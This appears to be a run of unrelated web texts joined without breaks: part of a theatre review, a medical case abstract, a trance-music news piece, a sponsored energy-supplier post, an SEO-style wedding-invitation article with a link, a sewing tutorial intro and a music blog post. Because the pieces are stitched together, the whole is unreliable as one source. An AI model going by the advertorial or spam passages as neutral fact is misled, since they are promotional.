Angelique Bouffiou as Maisie Madigan, a neighbor in the Dublin tenement where the Boyles and Joxer live, contributes to the comic spirit of Mecham's Juno while also serving as a bridge to the more serious aspects of O'Casey's play by being the one who reveals some of the talk about Johnny Boyle's involvement in exposing a fellow IRA partisan to danger and who reports on the inconsolable grief the slain man's mother, Mrs. Tancred, feels at his killing. Mrs. Tancred, played by Jackie Gordon, will eloquently express herself when she visits the Boyles as they are celebrating a rare bit of good luck occasioned by Jack believing he will receive a handsome inheritance. Mrs. Tancred's appearance severely alters the jauntiness that marks Mecham's production. Nothing can be looked at the same as you realize all that is happening beyond the walls of the Boyle flat. The Irish conflagration leaves no family untouched, and the plight of the Boyles, whether they are living hand-to-mouth or flush, pales next to that larger story that also brings O'Casey's plot thread involving Johnny into focus.
The Irish Heritage production never reaches the dramatic heights or sense of misfortune to offset the comedy it favors — You never feels as if you're watching a comedy turned tragic. — but its handling of IRA doings and a plot involving the Boyle daughter, Mary, simmer matters long and solemnly enough to give it perspective and let you see O'Casey shadings. Mecham and cast provide a good, defined reading of O'Casey's play, and the sadder, more intense section do come through and have their effect.
Lipkin's vibrant Jack dominates this production, but Kirsten Quinn's put-upon Juno defines it.
Quinn is a fully-drawn Juno who is not so full or sorrows and cares that she cannot appreciate Jack's clowning or relax when she believes the Boyle's financial troubles are in comfortable abeyance. She expresses Juno's love for Jack in the half-smile he gives to antics, even as she's scolding him. Quinn's is a Juno of many facets, and the actress lets us see who Juno might be if was not constantly beset by calamity.
Of course, she also displays the Juno who must figure out how to get a fresh supply of groceries in the Boyle household, nurse her sullen son, understand her modern, individualistic daughter, and get Jack to contribute wages to the family purse. Despair does not define Quinn's Juno, but it shows through her resigned demeanor and is always present something in her eyes or in a tightening of her lips, even when she has license to be relatively calm or merry.
Juno is the necessary bulwark of the Boyle family, and Quinn communicates that. She also shows Juno's basic common sense when dealing with Mary's pregnancy out of wedlock and a quiet pain when Johnny's IRA career comes to a predictably dismal end.
Lipkin, Cannon, and Bouffiou give Mecham's "Juno" its spirit and tone. They provide the entertainment and do it grandly. Quinn provides the soul. It is through her, even more than the bereft Mrs. Tancred, that the total reality of life O'Casey presents, through all of his jokes and melodrama, comes to the Irish Heritage stage. The best part Quinn goes about playing Juno in a natural fashion that depicts a beleaguered woman coping through life, making do, and supplying her family's needs. Thank goodness that life contains some joy, which Quinn also expresses well.
Kevin Rodden, sleeve of his clean, perhaps too clean, white shirt hanging down to show the damage to his arm, creates an ominous presence as Johnny. You never get to know the character. Rodden's Johnny is too paranoid about and expectant of doom to display any kind of homelife or close relationship with his parents or sister. You are always aware of his jitteriness and his certainty his fate is sealed. Especially as Joxer and Maisie expose more and more suspicions about Johnny having a role in Tancred boy's death.
Gina Martino is an efficient Mary. She shows you the character's role in the family and how she worries her parents and brother with some modern, independent thinking, but you never care for Mary in a way that causes distress or heartbreak when her hopes are disrupted or her pregnancy has consequences. She becomes a cog in O'Casey's overall story more than a figure who elicits emotion in her own right.
Jimmy Guckin is solid as Jerry Devine, the young clerk who represents the everyday man that is skirting the war and securing his future in whatever Ireland emerges by working and thinking of career rather than politics. Guckin convinces you of Jerry's love for Mary and his sense of betrayal when he hears of her impending motherhood.
Dexter Anderson is practiced charm itself as the lawyer who proves inept, Charles Bentham. Thomas Robert Irvin is realistic and dramatically effective as Needles Nugent. Carlos Forbes and David Kuong handle a multitude of roles with precision while differentiating their various characters.
Teddy Moseanu and Peggy Mecham create a convincing Boyle flat whether it is as Spartan as the Kramdens' apartment in "The Honeymooners" or opulently furnished when the Boyles think they're in the chips. Sarah Ochocki's costumes were perfect for all characters and occasions. She was especially canny in dressing Jack as both a working man and a temporary esquire.
"Juno and the Paycock, produced by Irish Heritage Theatre, runs through Saturday, October 31, at Plays & Players, 1714 Delancey Street, in Philadelphia. Showtimes are 7 p.m. Wednesday through Saturday and 2 p.m. Sunday. Tickets are $25, with various discounts available, and can be obtained by visiting www.irishheritagetheatre.org.

A rare case of an abdominal aortic aneurysm (AAA) infected by Listeria monocytogenes in a 72-year-old male diabetic farmer, is reported. Our patient had a history of a recent pneumonia that could have been caused by Listeria too. Aneurysm infection was manifested by fever and abdominal and back pain, which prompted investigation with CT scanning that revealed a 4.9 cm AAA with typical signs of infection. He underwent urgent AAA repair with aortobifemoral bypass grafting and had an uneventful course. Aneurysm content microbiology revealed Listeria monocytogenes and following a 9-week course of antibiotics our patient remains asymptomatic 11 months later.

Trance, that much-maligned EDM genre built around uplifting (aka "cheesy," to its many detractors) melodies, chugging rhythms and long, slow builds, refuses to go away. After more than a decade of taking a backseat — at least here in the States — to everything from electro-house to dubstep to the bludgeoning "big room" sounds favored by most of today's festival headliners, it's making a comeback in a big way. The latest proof comes in the form of Insomniac's new all-trance brand, Dreamstate, whose inaugural event at the NOS Events Center in San Bernardino just sold out in four hours.
"Our Basscon and Bassrush brands have been the epicenters for all forms of hard dance and bass music. It's time that we brought that same level of quality, creativity and inspiration to the trance community," Insomniac founder Pasquale Rotella said via a press release. "Dreamstate will be completely dedicated to celebrating trance in all of its forms. Trance fans are some of the most passionate in electronic music, and I hope that Dreamstate will provide them with a promising new destination."
Trance's popularity peaked in the late '90s, when such stars of the genre as Germany's Paul Van Dyk, the U.K.'s Sasha and Digweed and L.A.-based producer/composer BT pushed the sound into ever more epic, cinematic forms. Labels such as Kinetic, with its influential Tranceport DJ mix compilations, Paul Oakenfold's Perfecto and Ministry of Sound carried trance's popularity over into the 21st century, helping launch the careers of later trance superstars Armin van Buuren, Ferry Corsten and Above & Beyond.
But by the mid-2000s, trance had fallen so far out of fashion that even former champions of the sound like Sasha and Oakenfold began distancing themselves from the term. "Progressive house" became a more popular genre tag among fans and DJs alike, as trance came to be defined almost exclusively by what Oakenfold once called the "fluffy cheese" of the Dutch trance sound popularized by Van Buuren, Corsten and Tiësto. (Oakenfold didn't specifically single out these producers or their many imitators, but everyone knew what he was talking about.)
But despite a thousand "Is Trance Dead?" think pieces in the EDM press, the music's core fan base never really went away. Nor did trance ever really become all cheese, all the time, as some critics would have you believe. Artists like Infected Mushroom helped make the subgenre of psychedelic trance more popular than ever, and Van Dyk continued to champion the sleeker, Germanic, techno-influenced style of trance throughout those "fluffy cheese" years.
At this year's EDC Vegas, signs of a trance resurgence abounded. The airplane-hangar-like Circuit Grounds was packed beyond capacity for Van Buuren's Gaia project, and British trance group Above & Beyond scored the weekend's most talked-about moment when they brought out Breaking Bad star Bryan Cranston to introduce their track "Walter White."
Now comes Dreamstate, which will take over the NOS Events Center's Damus Building on Nov. 27 and 28. Apart from the two Pauls (Van Dyk and Oakenfold), most of the acts on the lineup don't have big followings in America — yet. But now that Insomniac is throwing its promotional weight behind the genre, that's likely to change soon.

This is a sponsored post written by me on behalf of IGS Energy for IZEA. All opinions are 100% mine.
Being eco-friendly is not just about recycling and toting around reusable grocery bags though these are great, easy ways to be more green. Helping the environment can actually help your wallet as well. With these green actions and adjustments around the house, you can effectively lower your electricity and water bills as well as save on other general expenses.
1. Turn off the lights when you leave the room. Electricity bills are typically one of the highest bills a household gets each month. Turning off the lights when you leave the room as well as turning off any appliances and electronics that are not in use are easy ways to help you conserve energy. Electricity generation is also a big source of pollution because many energy companies still rely on burning coal to provide energy for homes and businesses. By actively making sure that you are not wasting any electricity, you will simultaneously cut down on the amount of pollution created as well as cut down on your electricity bill.
2. Make the switch to CFL bulbs. It is true that CFL bulbs, also known as compact fluorescent lamp bulbs, are more expensive than regular incandescent light bulbs. However, when you factor in how much money you save in the long run with CFL bulbs, you will see that these more eco-friendly bulbs actually pay for themselves with the savings you will incur. CFL bulbs typically last up to 15 times longer than a traditional incandescent bulb, and they also have the capability of putting out the same amount of light as a traditional bulb but while using half the energy. In fact, one CFL bulb can save buyers more than $30 in energy costs in its lifetime. If you replace all of the lights in the house with CFL bulbs and make it a habit to turn off the lights when not in use, you could save hundreds of dollars in electricity costs annually.
3. Only do laundry when there is a full load. You may be tempted to throw your favorite shirt into the wash by itself when you accidentally get some unsightly stains on it, but consider spot-cleaning it and waiting until you are ready to toss an entire load of laundry into the machine before washing it. A washing machine and dryer use up tremendous amounts of energy, so it is more eco-friendly to maximize the use of these machines by only turning them on when there is a full load to wash. When you do fewer loads of laundry, you will cut down on your water and electricity bills as well as your carbon footprint.
4. Make the switch to low-flow and aerating faucets. Just like the CFL bulbs, the initial purchase cost of a low-flow and aerating faucet would be offset by the savings you would incur with use. These faucet heads pump air into the water coming out of the faucet so that you would still experience plenty of water pressure, but with less water usage. When you consider that a single five-minute shower can use up approximately 40 gallons of water, it is easy to see why using less water for day-to-day activities is crucial. By using low-flow and aerating faucets and shower heads, you can help conserve water as well as reduce your water bill.
5. Replace paper napkins with cloth ones and disposable dishes and silverware with reusable ones. It can be tempting to use paper plates and plastic disposable forks and spoons if you hate doing the dishes, but all of that garbage getting tossed out at the end of each meal is bad for the environment. Paper napkins are ill-advised as well for the same reason. When you switch to cloth napkins and reusable dinnerware, you dramatically reduce the amount of garbage you will produce. Though initially purchasing a good dinner set and napkins would be more expensive than purchasing disposable items, you will also never need to buy these items again, unlike the constant need to refill and replace disposable ones. Coupled with fewer washing machine loads and a low-flow faucet, cleaning your reusable items will also still be environmentally friendly. 6. Shop around for an independent energy supplier. What is the difference between a utility and a supplier you may ask? Well, in areas where this energy choice (sometimes referred to as energy competition) is allowed, the utility is responsible for maintaining and repairing the infrastructure of the poles, pipes, and wires that will still deliver electricity and natural gas to consumers. While a supplier, on the other hand, is a company that sells the energy that the utility delivers. Suppliers compete in an open marketplace by offering a variety of services and incentives, and consumers chose those that most appeal to them and best meet their energy needs. Suppliers have more options to purchase the energy more efficiently and cost-effectively. (Go here to learn more about energy choice and deregulation)
To put it in a different way, imagine you are going to buy the latest Smartphone from Apple.com or Target.com and the U.S. Postal Service delivers it to your home, in a deregulated market, you can choose an independent supplier (like IGS Energy) to purchase your electricity and natural gas on the open market, deliver it to your utility, and your utility delivers it to your home (or business).
You may also choose to remain with the utility whose rate often fluctuates with market conditions – meaning their rates are variable and move up and down at various times of the year. The benefit of an independent supplier like IGS Energy is that you can lock in rates at today's low rates for the longer team and have the peace of mind that if rates jump around, yours remains steady. Suppliers are also able to offer other options such as longer-term fixed rates, flat bills, or green energy products. IGS works with your local utility as part of the utility's customer choice program – they aren't in direct competition. Serving over 1,000,000 customers, IGS Energy is one of the largest independent suppliers of natural gas and electricity in the country. Not only that but they also offer a wide range of home protection products to help customers protect their budgets against costly repairs of the utility lines that keep their home running smoothly, that most people don't know are their own responsibility. It's not too late to make a change, you can check your options here: natural gas and electric supply products. IGS Energy is also actively involved in their community. Across all of their offices throughout six states, 630 IGS employees gave back to their communities, and company-wide they provided more than 3,000 combined hours of volunteer service. Over 45 organizations were supported during the All-Employee Day of Service including Goodwill, Habitat for Humanity, community food pantries, and animal shelters.

Which one wants to invite every person he knows and share his happiness with them. While wedding being the extraordinary event, invitations to people remain an important concern.
After jotting down the list of invitees, the second step pushes inviter's thought is the way of invitation and selection of proper cards that would be cheap and good looking. With an increasing inflation, prices of everything have increased a lot during the last few years. Every single thing has now got prices that are out of the affordable ranges of people. Wedding invitation cards have remarkably risen in prices, the more you will embellish a card, the more its prices would rise. Imagine if you are inviting more than thousand people and spending thousands of dollars in just invitation cards, how would you carry the rest expense of the wedding that demands more money?
Definitely investing thousands of dollars on just invitation cards is not at all a sensible thing even if you are rich enough. Cards which will be thrown after reading so why should you bear such expense especially when you just have to write the name of bride, groom, their wedding date and venue?read this article!
There are many ways to have cheap wedding invitations that save your money and time too. Instead of highly embellished wedding cards, you can send invitations by simple looking cards which are affordable, decent and appealing. Millions of simple decent cards samples are available in the market which are available for low cost. Pick anyone of them, edit it and then send the invitations to people you want to attend your wedding. They are not as simple as just plain paper; rather they have designs that look beautiful, decent and simple.
Even if you don't order any card from market, yet you can invite people by sending them invitation over a simple printing paper, the paper would state everything you want to put in, without charging any additional amount for any extra word. I have seen even people of elite classes following this cheap trend, this is not because they want to save their money, it is because instead of spending their Money in anything not worthy, they spend on other wedding details that demand more money.view details from http://en.cihan.com.tr/news/Wedding-bells-ringing-and-invitations-1-_1062-CHMTgwMTA2Mg==
Thanks to the technological world that has reduced our expenses to much greater extent; you can send your wedding invitations to as many people as you want without using any paper material. You can type a single message of wedding details on your mobile and send to people in your contact list, or can type an email on computer and send to anyone you want.

Sewing Inner Legs on Melly & me softies
This next tutorial is really only an aid to sewing some of my toys such as Phoebe, Pippi, Dawn, Scotty McSpotty and Kiki to name a few. I have had a number of people say that they either do not understand or have had difficulty transitioning from sewing around the body to sewing the inner legs. Hopefully this will make it a little clearer and will help those who have tackled or are yet to tackle these patterns.

SO sweet! The new vid from the QOTSA boys is total grindhouse style. I think I've seen a similar full length chix-ploitation at the Tower bar on more than a few occasions. Pretty remarkable that Queens manages to stay relevant even after releasing Songs for the Deaf. Era Vulgaris puts them back in my favor. I'll have to post that Josh Interview I did when Lullabies came out. They've got a sweet
Charger(its actually a 1970 Challenger, thanks for the correction Ol' Greg) in the vid too. Not this one but its still totally awesome. I know muscle cars aren't very 'green' but they're so fucking cool and remind me of growing up in the 80's, riding around with my friend in his brothers Road Runner and listening to Metallica for the first time.
Here is the vid for the song. ITS THE NOT CLEAN/SLIGHTLY FILTHY VERSION.
